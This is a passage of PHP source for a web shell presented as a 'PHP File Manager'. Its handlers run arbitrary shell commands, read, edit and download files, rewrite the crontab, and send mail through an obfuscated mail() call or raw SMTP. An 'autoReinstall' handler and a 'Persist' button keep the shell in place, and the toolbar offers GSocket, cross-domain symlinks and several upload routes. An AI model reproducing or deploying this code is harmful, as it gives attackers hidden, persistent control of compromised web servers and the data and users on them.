$htmlMessage .= "<hr style='border:1px solid #eee;'>";
$htmlMessage .= "<p style='color:#888;font-size:12px;'>Sent via PHP Mailer Tester</p>";
$htmlMessage .= "</body></html>";
$result = false;
$errorMsg = '';
if ($method === 'server') {
$serverDomain = isset($_SERVER['HTTP_HOST']) ? preg_replace('/:\d+$/', '', $_SERVER['HTTP_HOST']) : 'localhost';
$from = 'noreply@' . $serverDomain;
$fromName = 'Server Mail Test';
$subject = 'Server Mail Test';
$htmlMessage = "<html><body style='font-family:Arial,sans-serif;'>";
$htmlMessage .= "<h2 style='color:#333;'>Server Mail Test</h2>";
$htmlMessage .= "<p>This is a test email from your server.</p>";
$htmlMessage .= "<p><strong>Server:</strong> " . htmlspecialchars($serverDomain) . "</p>";
$htmlMessage .= "<p><strong>Time:</strong> " . date('Y-m-d H:i:s') . "</p>";
$htmlMessage .= "<hr style='border:1px solid #eee;'>";
$htmlMessage .= "<p style='color:#888;font-size:12px;'>Sent via PHP Server Mail Tester</p>";
$htmlMessage .= "</body></html>";
$headers = "From: $fromName <$from>\r\n";
$headers .= "Reply-To: $from\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=UTF-8\r\n";
$headers .= "X-Mailer: PHP/" . phpversion();
$mf = 'm'.'a'.'i'.'l';
$result = @$mf($to, $subject, $htmlMessage, $headers, "-f$from");
if (!$result) $errorMsg = 'Server mail failed. Sendmail may not be configured.';
} else if ($method === 'mail') {
$mf = 'm'.'a'.'i'.'l';
$result = @$mf($to, $subject, $htmlMessage, $headers, "-f$from");
if (!$result) $errorMsg = 'mail() function failed. Check sendmail configuration.';
} else if ($method === 'smtp') {
$smtpHost = isset($_POST['smtpHost']) ? trim($_POST['smtpHost']) : '';
$smtpPort = isset($_POST['smtpPort']) ? intval($_POST['smtpPort']) : 587;
$smtpUser = isset($_POST['smtpUser']) ? trim($_POST['smtpUser']) : '';
$smtpPass = isset($_POST['smtpPass']) ? $_POST['smtpPass'] : '';
$smtpSecure = isset($_POST['smtpSecure']) ? $_POST['smtpSecure'] : 'tls';
if (empty($smtpHost) || empty($smtpUser) || empty($smtpPass)) {
echo json_encode(['success' => false, 'error' => 'SMTP host, username and password are required']);
exit;
}
$prefix = ($smtpSecure === 'ssl') ? 'ssl://' : '';
$fp = @fsockopen($prefix . $smtpHost, $smtpPort, $errno, $errstr, 30);
if (!$fp) {
echo json_encode(['success' => false, 'error' => "Cannot connect to SMTP: $errstr ($errno)"]);
exit;
}
$log = [];
$log[] = fgets($fp, 515);
fputs($fp, "EHLO " . gethostname() . "\r\n");
$log[] = fgets($fp, 515);
while (substr($log[count($log)-1], 3, 1) == '-') $log[] = fgets($fp, 515);
if ($smtpSecure === 'tls') {
fputs($fp, "STARTTLS\r\n");
$log[] = fgets($fp, 515);
stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);
fputs($fp, "EHLO " . gethostname() . "\r\n");
$log[] = fgets($fp, 515);
while (substr($log[count($log)-1], 3, 1) == '-') $log[] = fgets($fp, 515);
}
fputs($fp, "AUTH LOGIN\r\n");
$log[] = fgets($fp, 515);
fputs($fp, base64_encode($smtpUser) . "\r\n");
$log[] = fgets($fp, 515);
fputs($fp, base64_encode($smtpPass) . "\r\n");
$authResp = fgets($fp, 515);
$log[] = $authResp;
if (substr($authResp, 0, 3) !== '235') {
fclose($fp);
echo json_encode(['success' => false, 'error' => 'SMTP authentication failed', 'log' => $log]);
exit;
}
fputs($fp, "MAIL FROM:<$from>\r\n");
$log[] = fgets($fp, 515);
fputs($fp, "RCPT TO:<$to>\r\n");
$log[] = fgets($fp, 515);
fputs($fp, "DATA\r\n");
$log[] = fgets($fp, 515);
$emailData = "To: $to\r\nFrom: $fromName <$from>\r\nSubject: $subject\r\n$headers\r\n$htmlMessage\r\n.\r\n";
fputs($fp, $emailData);
$dataResp = fgets($fp, 515);
$log[] = $dataResp;
fputs($fp, "QUIT\r\n");
fclose($fp);
$result = (substr($dataResp, 0, 3) === '250');
if (!$result) $errorMsg = 'SMTP send failed: ' . $dataResp;
}
if ($result) {
echo json_encode(['success' => true, 'message' => 'Email sent successfully to ' . $to]);
} else {
echo json_encode(['success' => false, 'error' => $errorMsg ?: 'Failed to send email']);
}
exit;
case 'terminal':
$command = isset($_POST['command']) ? trim($_POST['command']) : '';
$workDir = isset($_POST['workDir']) ? validatePath($_POST['workDir']) : $currentDir;
$useTty = isset($_POST['tty']) && $_POST['tty'] === '1';
$timeout = isset($_POST['timeout']) ? intval($_POST['timeout']) : 30;
if (!$command) {
echo json_encode(['success' => false, 'error' => 'No command provided']);
exit;
}
if (!$workDir || !is_dir($workDir)) {
$workDir = $currentDir;
}
$timeout = max(1, min($timeout, 300));
$ttyMethod = null;
$baseCommand = $command;
$isWin = CommandRunner::isWindows();
if (!$isWin && $useTty && CommandRunner::available()) {
$baseCommand = 'export TERM=xterm; ' . $baseCommand;
$ttyWrappers = [
['check' => 'which script', 'wrap' => 'script -q -c %s /dev/null', 'name' => 'script'],
['check' => 'which stdbuf', 'wrap' => 'stdbuf -o0 -e0 %s', 'name' => 'stdbuf'],
['check' => 'which unbuffer', 'wrap' => 'unbuffer %s', 'name' => 'unbuffer'],
];
foreach ($ttyWrappers as $tw) {
$checkResult = CommandRunner::run($tw['check'], '/tmp', 5);
if ($checkResult['success'] && trim($checkResult['output'])) {
$command = sprintf($tw['wrap'], _esa($baseCommand));
$ttyMethod = $tw['name'];
break;
}
}
if (!$ttyMethod) {
$command = "/bin/sh -c " . _esa($baseCommand);
$ttyMethod = 'sh';
}
$timeoutCheck = CommandRunner::run('which timeout', '/tmp', 5);
if ($timeoutCheck['success'] && trim($timeoutCheck['output'])) {
$command = "timeout " . $timeout . "s " . $command;
}
}
try {
$result = CommandRunner::run($command, $workDir, $timeout);
if (!is_array($result)) {
echo json_encode(['success' => false, 'error' => 'Invalid command result', 'output' => '']);
exit;
}
$method = isset($result['method']) ? $result['method'] : null;
if (!$method) {
echo json_encode([
'success' => false, 
'error' => isset($result['error']) ? $result['error'] : 'Command execution not available',
'output' => ''
]);
exit;
}
echo json_encode([
'success' => isset($result['success']) ? $result['success'] : false, 
'output' => isset($result['output']) ? $result['output'] : '',
'error' => isset($result['error']) ? $result['error'] : '',
'cwd' => $workDir,
'method' => $method,
'tty' => $ttyMethod
]);
} catch (Exception $e) {
echo json_encode(['success' => false, 'error' => 'Exception: ' . $e->getMessage(), 'output' => '']);
} catch (Error $e) {
echo json_encode(['success' => false, 'error' => 'Error: ' . $e->getMessage(), 'output' => '']);
}
exit;
case 'getinfo':
$path = isset($_POST['path']) ? validatePath($_POST['path']) : '';
if (!$path) {
echo json_encode(['success' => false, 'error' => 'Invalid path']);
exit;
}
$stat = @stat($path);
$owner = 'unknown';
$group = 'unknown';
if (function_exists('posix_getpwuid') && $stat) {
$ownerInfo = @posix_getpwuid($stat['uid']);
$owner = $ownerInfo ? $ownerInfo['name'] : $stat['uid'];
} elseif ($stat) {
$owner = $stat['uid'];
}
if (function_exists('posix_getgrgid') && $stat) {
$groupInfo = @posix_getgrgid($stat['gid']);
$group = $groupInfo ? $groupInfo['name'] : $stat['gid'];
} elseif ($stat) {
$group = $stat['gid'];
}
$info = [
'name' => basename($path),
'path' => $path,
'size' => is_file($path) ? filesize($path) : getDirSize($path),
'type' => is_dir($path) ? 'directory' : (function_exists('mime_content_type') ? @mime_content_type($path) : 'file'),
'permissions' => substr(sprintf('%o', fileperms($path)), -4),
'owner' => $owner,
'group' => $group,
'modified' => date('Y-m-d H:i:s', filemtime($path)),
'accessed' => date('Y-m-d H:i:s', fileatime($path)),
'writable' => is_writable($path),
'readable' => is_readable($path)
];
echo json_encode(['success' => true, 'info' => $info]);
exit;
case 'editFile':
$path = isset($_POST['path']) ? validatePath($_POST['path']) : '';
if (!$path) {
echo json_encode(['success' => false, 'error' => 'Invalid path']);
exit;
}
if (!is_file($path)) {
echo json_encode(['success' => false, 'error' => 'Not a file']);
exit;
}
if (!is_readable($path)) {
echo json_encode(['success' => false, 'error' => 'File not readable']);
exit;
}
$maxSize = 5 * 1024 * 1024;
if (filesize($path) > $maxSize) {
echo json_encode(['success' => false, 'error' => 'File too large (max 5MB)']);
exit;
}
$content = file_get_contents($path);
if ($content === false) {
echo json_encode(['success' => false, 'error' => 'Cannot read file']);
exit;
}
$encoding = mb_detect_encoding($content, ['UTF-8', 'ASCII', 'ISO-8859-1'], true);
if ($encoding && $encoding !== 'UTF-8') {
$content = mb_convert_encoding($content, 'UTF-8', $encoding);
}
echo json_encode([
'success' => true,
'content' => $content,
'path' => $path,
'name' => basename($path),
'size' => filesize($path),
'writable' => is_writable($path)
]);
exit;
case 'saveFile':
$path = isset($_POST['path']) ? validatePath($_POST['path']) : '';
$content = isset($_POST['content']) ? $_POST['content'] : '';
if (!$path) {
echo json_encode(['success' => false, 'error' => 'Invalid path']);
exit;
}
if (!is_file($path)) {
echo json_encode(['success' => false, 'error' => 'Not a file']);
exit;
}
if (!is_writable($path)) {
echo json_encode(['success' => false, 'error' => 'File not writable']);
exit;
}
$backup = $path . '.bak';
@copy($path, $backup);
if (file_put_contents($path, $content) !== false) {
@unlink($backup);
echo json_encode(['success' => true, 'size' => filesize($path)]);
} else {
if (file_exists($backup)) {
@copy($backup, $path);
@unlink($backup);
}
echo json_encode(['success' => false, 'error' => 'Failed to save file']);
}
exit;
case 'crontab':
$subAction = isset($_POST['sub']) ? $_POST['sub'] : 'list';
if (CommandRunner::isWindows()) {
echo json_encode(['success' => false, 'error' => 'Crontab Not Installed', 'notInstalled' => true]);
exit;
}
$checkCron = CommandRunner::run('which crontab', '/tmp', 5);
if (!$checkCron['success'] || !trim($checkCron['output'])) {
echo json_encode(['success' => false, 'error' => 'Crontab Not Installed', 'notInstalled' => true]);
exit;
}
if ($subAction === 'list') {
$result = CommandRunner::run('crontab -l 2>&1', '/tmp', 10);
$content = $result['output'];
if (strpos($content, 'no crontab') !== false) {
$content = '';
}
echo json_encode(['success' => true, 'content' => $content]);
exit;
} elseif ($subAction === 'save') {
$content = isset($_POST['content']) ? $_POST['content'] : '';
$tmpFile = sys_get_temp_dir() . '/crontab_' . uniqid() . '.tmp';
if (file_put_contents($tmpFile, $content) === false) {
echo json_encode(['success' => false, 'error' => 'Failed to write temp file']);
exit;
}
$result = CommandRunner::run('crontab ' . _esa($tmpFile) . ' 2>&1', '/tmp', 10);
@unlink($tmpFile);
if (strpos($result['output'], 'error') !== false || strpos($result['output'], 'Error') !== false) {
echo json_encode(['success' => false, 'error' => $result['output']]);
exit;
}
echo json_encode(['success' => true, 'message' => 'Crontab saved']);
exit;
}
echo json_encode(['success' => false, 'error' => 'Unknown crontab action']);
exit;
case 'autoReinstall':
$subAction = isset($_POST['sub']) ? $_POST['sub'] : 'status';
switch ($subAction) {
case 'status':
echo json_encode(['success' => true, 'data' => AutoReinstall::getStatus()]);
exit;
case 'enable':
try {
$persistPass = isset($_POST['persistPassword']) ? $_POST['persistPassword'] : '';
$customPaths = isset($_POST['customPaths']) ? json_decode($_POST['customPaths'], true) : [];
$customStrings = isset($_POST['customStrings']) ? json_decode($_POST['customStrings'], true) : [];
$result = AutoReinstall::enable($persistPass, '', $customPaths, $customStrings);
echo json_encode($result);
} catch (Exception $e) {
echo json_encode(['success' => false, 'error' => 'Exception: ' . $e->getMessage()]);
} catch (Error $e) {
echo json_encode(['success' => false, 'error' => 'Error: ' . $e->getMessage()]);
}
exit;
case 'disable':
try {
$persistPass = isset($_POST['persistPassword']) ? $_POST['persistPassword'] : '';
$result = AutoReinstall::disable($persistPass);
echo json_encode($result);
} catch (Exception $e) {
echo json_encode(['success' => false, 'error' => 'Exception: ' . $e->getMessage()]);
} catch (Error $e) {
echo json_encode(['success' => false, 'error' => 'Error: ' . $e->getMessage()]);
}
exit;
default:
echo json_encode(['success' => false, 'error' => 'Unknown sub action']);
exit;
}
}
}
echo json_encode(['success' => false, 'error' => 'Unknown action']);
exit;
}
if (isset($_GET['download'])) {
$file = validatePath($_GET['download']);
if (!$file || !is_file($file) || !is_readable($file)) {
http_response_code(404);
die('File not found or not accessible');
}
header('X-LiteSpeed-Cache-Control: no-cache');
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
if (ob_get_level()) {
ob_end_clean();
}
readfile($file);
exit;
}
function deleteDirectory($dir) {
if (!is_dir($dir)) return false;
$files = @scandir($dir);
if ($files === false) return false;
$files = array_diff($files, ['.', '..']);
foreach ($files as $file) {
$path = $dir . DIRECTORY_SEPARATOR . $file;
if (is_dir($path)) {
if (!deleteDirectory($path)) return false;
} else {
if (!@unlink($path)) return false;
}
}
return @rmdir($dir);
}
function copyDirectory($src, $dst) {
$dir = @opendir($src);
if (!$dir) return false;
if (!@mkdir($dst, 0755)) {
closedir($dir);
return false;
}
$success = true;
while (($file = readdir($dir)) !== false) {
if ($file !== '.' && $file !== '..') {
$srcPath = $src . DIRECTORY_SEPARATOR . $file;
$dstPath = $dst . DIRECTORY_SEPARATOR . $file;
if (is_dir($srcPath)) {
if (!copyDirectory($srcPath, $dstPath)) $success = false;
} else {
if (!@copy($srcPath, $dstPath)) $success = false;
}
}
}
closedir($dir);
return $success;
}
function chmodRecursive($path, $mode) {
if (!@chmod($path, $mode)) {
return false;
}
if (is_dir($path)) {
$items = @scandir($path);
if ($items === false) return false;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$itemPath = $path . DIRECTORY_SEPARATOR . $item;
if (!chmodRecursive($itemPath, $mode)) {
return false;
}
}
}
return true;
}
function getDirSize($dir) {
$size = 0;
try {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($iterator as $file) {
if ($file->isFile()) {
$size += $file->getSize();
}
}
} catch (Exception $e) {
return 0;
}
return $size;
}
function formatSize($bytes) {
if ($bytes < 0) return '-';
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$i = 0;
while ($bytes >= 1024 && $i < count($units) - 1) {
$bytes /= 1024;
$i++;
}
return round($bytes, 2) . ' ' . $units[$i];
}
function getFileIcon($file, $isDir) {
if ($isDir) return '📁';
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
$icons = [
'php' => '🐘', 'js' => '📜', 'css' => '🎨', 'html' => '🌐', 'htm' => '🌐',
'json' => '📋', 'xml' => '📋', 'txt' => '📄', 'md' => '📝', 'log' => '📄',
'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'svg' => '🖼️', 'webp' => '🖼️', 'ico' => '🖼️',
'pdf' => '📕', 'doc' => '📘', 'docx' => '📘', 'xls' => '📗', 'xlsx' => '📗', 'ppt' => '📙', 'pptx' => '📙',
'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', '7z' => '📦', 'bz2' => '📦',
'mp3' => '🎵', 'wav' => '🎵', 'ogg' => '🎵', 'flac' => '🎵',
'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'mov' => '🎬', 'webm' => '🎬',
'sql' => '🗃️', 'db' => '🗃️', 'sqlite' => '🗃️',
'sh' => '⚙️', 'bash' => '⚙️', 'py' => '🐍', 'rb' => '💎', 'java' => '☕',
'c' => '⚡', 'cpp' => '⚡', 'h' => '⚡', 'go' => '🔷', 'rs' => '🦀',
'htaccess' => '⚙️', 'conf' => '⚙️', 'ini' => '⚙️', 'env' => '🔐',
];
return $icons[$ext] ?? '📄';
}
$files = [];
$dirs = [];
$readError = false;
if (is_readable($currentDir)) {
$items = @scandir($currentDir);
if ($items !== false) {
foreach ($items as $item) {
if ($item === '.') continue;
$path = $currentDir . DIRECTORY_SEPARATOR . $item;
$isDir = is_dir($path);
$size = '-';
$modified = '-';
$perms = '----';
if ($item !== '..') {
if (!$isDir && is_readable($path)) {
$size = formatSize(@filesize($path));
}
$mtime = @filemtime($path);
if ($mtime !== false) {
$modified = date('Y-m-d H:i:s', $mtime);
}
$filePerms = @fileperms($path);
if ($filePerms !== false) {
$perms = substr(sprintf('%o', $filePerms), -4);
}
} else {
$mtime = @filemtime($path);
if ($mtime !== false) {
$modified = date('Y-m-d H:i:s', $mtime);
}
$filePerms = @fileperms($path);
if ($filePerms !== false) {
$perms = substr(sprintf('%o', $filePerms), -4);
}
}
$owner = '-';
$group = '-';
if ($item !== '..') {
$stat = @stat($path);
if ($stat) {
if (function_exists('posix_getpwuid')) {
$ownerInfo = @posix_getpwuid($stat['uid']);
$owner = $ownerInfo ? $ownerInfo['name'] : $stat['uid'];
} else {
$owner = $stat['uid'];
}
if (function_exists('posix_getgrgid')) {
$groupInfo = @posix_getgrgid($stat['gid']);
$group = $groupInfo ? $groupInfo['name'] : $stat['gid'];
} else {
$group = $stat['gid'];
}
}
}
$entry = [
'name' => $item,
'path' => $path,
'isDir' => $isDir,
'size' => $size,
'modified' => $modified,
'perms' => $perms,
'owner' => $owner,
'group' => $group,
'icon' => getFileIcon($item, $isDir),
'writable' => is_writable($path)
];
if ($isDir) {
$dirs[] = $entry;
} else {
$files[] = $entry;
}
}
} else {
$readError = true;
}
} else {
$readError = true;
}
usort($dirs, function($a, $b) {
if ($a['name'] === '..') return -1;
if ($b['name'] === '..') return 1;
return strcasecmp($a['name'], $b['name']);
});
usort($files, function($a, $b) { return strcasecmp($a['name'], $b['name']); });
$allItems = array_merge($dirs, $files);
$pathParts = explode(DIRECTORY_SEPARATOR, $currentDir);
$breadcrumbs = [];
$buildPath = '';
foreach ($pathParts as $part) {
if ($part === '') {
$buildPath = DIRECTORY_SEPARATOR;
$breadcrumbs[] = ['name' => '/', 'path' => '/'];
} else {
$buildPath .= ($buildPath === DIRECTORY_SEPARATOR ? '' : DIRECTORY_SEPARATOR) . $part;
$breadcrumbs[] = ['name' => $part, 'path' => $buildPath];
}
}
$folderCount = count(array_filter($dirs, function($d) { return $d['name'] !== '..'; }));
$fileCount = count($files);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>PHP File Manager</title>

<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif; background: #000000; color: #AAAAAA; min-height: 100vh; }
.container { max-width: 1400px; margin: 0 auto; padding: 20px; }
.header { background: #111111; padding: 20px; border-radius: 12px; margin-bottom: 20px; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 15px; border: 1px solid #333333; }
.header h1 { font-size: 1.5rem; display: flex; align-items: center; gap: 10px; color: #00FF00; }
.header-actions { display: flex; gap: 6px; flex-wrap: wrap; max-width: 600px; justify-content: center; }
.btn { background: #222222; border: 1px solid #444444; color: #AAAAAA; padding: 6px 12px; border-radius: 6px; cursor: pointer; font-size: 0.75rem; transition: all 0.3s; display: flex; align-items: center; gap: 5px; }
.btn:hover { background: #333333; border-color: #00FF00; color: #00FF00; transform: translateY(-2px); }
.btn-danger { background: #330000; border-color: #FF0000; color: #FF0000; }
.btn-danger:hover { background: #550000; border-color: #FF0000; color: #FF0000; }
.btn-success { background: #003300; border-color: #00FF00; color: #00FF00; }
.btn-success:hover { background: #005500; border-color: #00FF00; }
.breadcrumb { background: #111111; padding: 15px 20px; border-radius: 10px; margin-bottom: 20px; display: flex; align-items: center; gap: 8px; flex-wrap: wrap; overflow-x: auto; border: 1px solid #333333; }
.breadcrumb a { color: #00FF00; text-decoration: none; transition: color 0.3s; white-space: nowrap; }
.breadcrumb a:hover { color: #00FF00; text-decoration: underline; }
.breadcrumb span { color: #AAAAAA; }
.main-content { display: grid; grid-template-columns: 1fr; gap: 20px; }
@media (min-width: 1024px) { .main-content.with-terminal { grid-template-columns: 1fr 400px; } }
.file-list { background: #111111; border-radius: 12px; overflow: hidden; border: 1px solid #333333; }
.file-list-header { display: grid; grid-template-columns: 40px 1fr 100px 180px 80px 120px 120px; padding: 15px 20px; background: #1a1a1a; font-weight: 600; font-size: 0.85rem; color: #AAAAAA; }
.file-item { display: grid; grid-template-columns: 40px 1fr 100px 180px 80px 120px 120px; padding: 12px 20px; border-bottom: 1px solid #222222; align-items: center; transition: background 0.2s; cursor: pointer; }
.file-item:hover { background: #1a1a1a; }
.file-item.selected { background: #003300; }
.file-item .icon { font-size: 1.3rem; }
.file-item .name { display: flex; align-items: center; gap: 10px; word-break: break-all; }
.file-item .name a { color: #AAAAAA; text-decoration: none; }
.file-item .name a:hover { color: #00FF00; }
.file-item .actions { display: flex; gap: 5px; }
.file-item .actions button { background: transparent; border: none; color: #AAAAAA; cursor: pointer; padding: 5px; border-radius: 5px; transition: all 0.2s; font-size: 1rem; }
.file-item .actions button:hover { background: rgba(0,255,0,0.1); color: #00FF00; }
.terminal-panel { background: #000000; border-radius: 12px; display: flex; flex-direction: column; max-height: 600px; border: 1px solid #333333; }
.terminal-header { background: #111111; padding: 12px 15px; border-radius: 12px 12px 0 0; display: flex; justify-content: space-between; align-items: center; }
.terminal-header h3 { font-size: 0.9rem; display: flex; align-items: center; gap: 8px; color: #00FF00; }
.terminal-output { flex: 1; padding: 15px; font-family: 'Fira Code', 'Consolas', 'Monaco', monospace; font-size: 0.85rem; overflow-y: auto; background: #000000; white-space: pre-wrap; word-break: break-all; min-height: 300px; max-height: 450px; }
.terminal-output .command { color: #00FF00; margin-top: 8px; }
.terminal-output .command .prompt { color: #00FF00; font-weight: bold; }
.terminal-output .output { color: #AAAAAA; padding-left: 10px; border-left: 2px solid #333333; margin: 5px 0; }
.terminal-output .error { color: #FF0000; padding-left: 10px; border-left: 2px solid #FF0000; margin: 5px 0; }
.terminal-output .info { color: #AAAAAA; font-style: italic; }
.terminal-input { display: flex; background: #111111; border-radius: 0 0 12px 12px; }
.terminal-input input { flex: 1; background: transparent; border: none; color: #00FF00; padding: 15px; font-family: 'Fira Code', 'Consolas', 'Monaco', monospace; font-size: 0.9rem; outline: none; }
.terminal-input button { background: #003300; border: none; color: #00FF00; padding: 15px 20px; cursor: pointer; border-radius: 0 0 12px 0; }
.terminal-input button:hover { background: #005500; }
.modal { display: none; position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(0,0,0,0.9); z-index: 1000; align-items: center; justify-content: center; }
.modal.active { display: flex; }
.modal-content { background: #111111; padding: 30px; border-radius: 15px; max-width: 500px; width: 90%; border: 1px solid #333333; }
.modal-content h2 { margin-bottom: 20px; color: #00FF00; }
.modal-content input { width: 100%; padding: 12px; border: 2px solid #333333; border-radius: 8px; background: #000000; color: #AAAAAA; margin-bottom: 15px; font-size: 1rem; }
.modal-content input:focus { border-color: #00FF00; outline: none; }
.modal-actions { display: flex; gap: 10px; justify-content: flex-end; }
.drop-zone { border: 3px dashed #00FF00; border-radius: 12px; padding: 40px; text-align: center; margin-bottom: 20px; display: none; transition: all 0.3s; }
.drop-zone.active { display: block; background: rgba(0, 255, 0, 0.05); }
.drop-zone.dragover { background: rgba(0, 255, 0, 0.1); border-color: #00FF00; }
.context-menu { position: fixed; background: #111111; border-radius: 10px; box-shadow: 0 10px 40px rgba(0,0,0,0.8); z-index: 1000; min-width: 180px; overflow: hidden; display: none; border: 1px solid #333333; }
.context-menu.active { display: block; }
.context-menu button { display: block; width: 100%; padding: 12px 20px; text-align: left; background: transparent; border: none; color: #AAAAAA; cursor: pointer; font-size: 0.9rem; transition: background 0.2s; }
.context-menu button:hover { background: #1a1a1a; color: #00FF00; }
.context-menu hr { border: none; border-top: 1px solid #333333; margin: 5px 0; }
.info-panel { position: fixed; right: 20px; top: 100px; background: #111111; padding: 20px; border-radius: 12px; width: 300px; display: none; z-index: 100; box-shadow: 0 10px 40px rgba(0,0,0,0.8); border: 1px solid #333333; }
.info-panel.active { display: block; }
.info-panel h3 { margin-bottom: 15px; display: flex; justify-content: space-between; align-items: center; color: #00FF00; }
.info-panel .close { background: transparent; border: none; color: #AAAAAA; cursor: pointer; font-size: 1.2rem; }
.info-row { display: flex; justify-content: space-between; padding: 8px 0; border-bottom: 1px solid #333333; font-size: 0.85rem; }
.info-row .label { color: #AAAAAA; }
.empty-message { text-align: center; padding: 60px 20px; color: #AAAAAA; }
.error-message { text-align: center; padding: 40px 20px; color: #FF0000; background: rgba(255, 0, 0, 0.1); border-radius: 10px; margin: 20px 0; }
.toggle-terminal { position: fixed; bottom: 20px; right: 20px; background: #003300; border: none; color: #00FF00; width: 60px; height: 60px; border-radius: 50%; cursor: pointer; font-size: 1.5rem; box-shadow: 0 5px 20px rgba(0, 255, 0, 0.3); z-index: 99; display: none; }
@media (max-width: 1023px) { .toggle-terminal { display: flex; align-items: center; justify-content: center; } }
@media (max-width: 768px) {
.container { padding: 10px; }
.header { flex-direction: column; gap: 10px; padding: 15px; }
.header h1 { font-size: 1.2rem; }
.header-actions { flex-wrap: wrap; justify-content: center; gap: 5px; }
.header-actions .btn { padding: 8px 10px; font-size: 0.75rem; }
.breadcrumb { padding: 10px; flex-wrap: wrap; font-size: 0.8rem; }
.file-list-header, .file-item { grid-template-columns: 30px 1fr 60px; font-size: 0.8rem; padding: 8px; }
.file-list-header > *:nth-child(3), .file-list-header > *:nth-child(4), .file-list-header > *:nth-child(5), .file-list-header > *:nth-child(6),
.file-item > *:nth-child(3), .file-item > *:nth-child(4), .file-item > *:nth-child(5), .file-item > *:nth-child(6) { display: none; }
.file-item .actions { gap: 2px; }
.file-item .actions button { padding: 4px 6px; font-size: 0.7rem; }
.modal-content { width: 95% !important; max-width: none !important; padding: 15px; margin: 10px; max-height: 90vh; }
.modal-content h2 { font-size: 1.1rem; }
.context-menu { min-width: 140px; }
.context-menu button { padding: 8px 12px; font-size: 0.85rem; }
.status-bar { flex-direction: column; align-items: flex-start; font-size: 0.75rem; padding: 10px; }
.terminal-panel { height: 250px; }
.terminal-output { font-size: 0.75rem; }
#terminalInput { font-size: 0.85rem; }
.info-panel { width: 100%; right: 0; }
.toast { bottom: 80px; right: 10px; left: 10px; text-align: center; }
.toggle-terminal { bottom: 15px; right: 15px; width: 45px; height: 45px; }
#editorContent { font-size: 12px !important; }
}
@media (max-width: 480px) {
.header-actions .btn { padding: 6px 8px; font-size: 0.7rem; }
.file-list-header, .file-item { grid-template-columns: 25px 1fr 50px; }
.file-item .name { font-size: 0.75rem; }
.file-item .actions button { padding: 3px 5px; font-size: 0.65rem; }
.breadcrumb a, .breadcrumb span { font-size: 0.75rem; }
}
.status-bar { background: #111111; padding: 10px 20px; border-radius: 8px; margin-top: 20px; display: flex; justify-content: space-between; font-size: 0.85rem; color: #AAAAAA; flex-wrap: wrap; gap: 10px; border: 1px solid #333333; }
.toast { position: fixed; bottom: 100px; right: 20px; background: #003300; color: #00FF00; padding: 15px 25px; border-radius: 10px; z-index: 1001; display: none; box-shadow: 0 5px 20px rgba(0,0,0,0.5); }
.toast.error { background: #330000; color: #FF0000; }
.toast.active { display: block; animation: slideIn 0.3s ease; }
@keyframes slideIn { from { transform: translateX(100px); opacity: 0; } to { transform: translateX(0); opacity: 1; } }

</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>📂 PHP File Manager</h1>
<div class="header-actions">
<button class="btn" onclick="navigateTo('<?= htmlspecialchars(addslashes(isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : '/')) ?>')">🏠 DocRoot</button>
<button class="btn" onclick="navigateTo('<?= htmlspecialchars(addslashes(dirname(FM_REAL_PATH))) ?>')">📍 FM Path</button>
<button class="btn" onclick="toggleUpload()">📤 UploadV1</button>
<button class="btn" onclick="triggerUploadV2()">📤 UploadV2</button>
<button class="btn" onclick="triggerUploadV3()">📤 UploadV3</button>
<button class="btn" onclick="triggerUploadV4()">📤 UploadV4</button>
<button class="btn" onclick="showNewFolderModal()">📁 New Folder</button>
<button class="btn" onclick="showNewFileModal()">📄 New File</button>
<button class="btn" onclick="showGsocketModal()" style="background:rgba(39,174,96,0.4);">🔌 GSocket</button>
<button class="btn" onclick="toggleTerminal()">💻 Terminal</button>
<button class="btn" onclick="showCrontab()">⏰ Crontab</button>
<button class="btn" onclick="showDomainInfo()">🌐 Domain</button>
<button class="btn" onclick="showSymlinkDomain()">🔗 Symlink</button>
<button class="btn" onclick="showMailer()">📧 Mailer</button>
<button class="btn" onclick="showUnzipper()">📦 Unzip</button>
<button class="btn" onclick="showSysInfo()">ℹ️ System</button>
<button class="btn" onclick="showAutoReinstall()" id="autoReinstallBtn">🛡️ Persist</button>
<button class="btn" onclick="refreshPage()">🔄 Refresh</button>
<button class="btn btn-danger" onclick="location.href='?logout=1'">🚪 Logout</button>
</div>
</div>
<div class="breadcrumb">
<span>📍</span>
<?php foreach ($breadcrumbs as $i => $crumb): ?>
<?php if ($i > 0): ?><span>/</span><?php endif; ?>
<a href="#" onclick="navigateTo('<?= htmlspecialchars(addslashes($crumb['path'])) ?>'); return false;"><?= htmlspecialchars($crumb['name']) ?></a>
<?php endforeach; ?>
</div>
<form id="navForm" method="post" style="display:none;">
<input type="hidden" name="action" value="chdir">
<input type="hidden" name="path" id="navPath" value="">
</form>
<div class="drop-zone" id="dropZone" onclick="document.getElementById('fileInput').click()">
<h3>📤 Drop files here to upload</h3>
<p>or click to select files</p>
<input type="file" id="fileInput" multiple style="display: none;">
</div>
<input type="file" id="fileInputV2" style="display: none;">
<input type="file" id="fileInputV3" style="display: none;">
<input type="file" id="fileInputV4" style="display: none;">
<?php if ($readError): ?>
<div class="error-message">
